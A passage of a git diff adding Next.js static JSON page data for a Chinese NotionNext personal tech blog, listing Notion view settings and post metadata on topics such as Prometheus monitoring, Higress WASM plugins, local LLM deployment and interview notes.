357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"},{"value":{"type":"select","value":"准备"},"property":"bB{M"},{"value":{"type":"select","value":"万里长征"},"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""},"next":{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","date":{"start_date":"2024-04-08","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240408-LM-02","tags":["面试","文字"],"summary":"跟谁学面试题","title":"万里长征-02-跟谁学","status":"Published","publishDate":1712534400000,"publishDay":"2024-4-8","lastEditedDate":"2024-04-08T17:08:09.011Z","lastEditedDay":"2024-4-9","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","tagItems":[{"name":"面试","color":"yellow"},{"name":"文字","color":"brown"}],"password":""},"recommendPosts":[{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","date":{"start_date":"2024-06-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240625-higress","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","title":"Java程序员学习Go开发Higress的WASM插件","status":"Published","publishDate":1719273600000,"publishDay":"2024-6-25","lastEditedDate":"2024-06-26T04:54:09.169Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"},{"name":"docker","color":"gray"},{"name":"go","color":"gray"}],"password":""},{"id":"146219e7-c178-4485-b223-22f4b977333c","date":{"start_date":"2024-04-29","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240429-prometheus","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","title":"Prometheus+Grafana多方位监控","status":"Published","publishDate":1714348800000,"publishDay":"2024-4-29","lastEditedDate":"2024-04-29T03:07:56.545Z","lastEditedDay":"2024-4-29","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","tagItems":[{"name":"推荐","color":"red"},{"name":"运维","color":"gray"}],"password":""},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":""},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"2024-3-25","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"2024-3-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240429-LM-fox.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240429-LM-fox.json new file mode 100644 index 000000000..a6f8ffbc0 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/article/240429-LM-fox.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 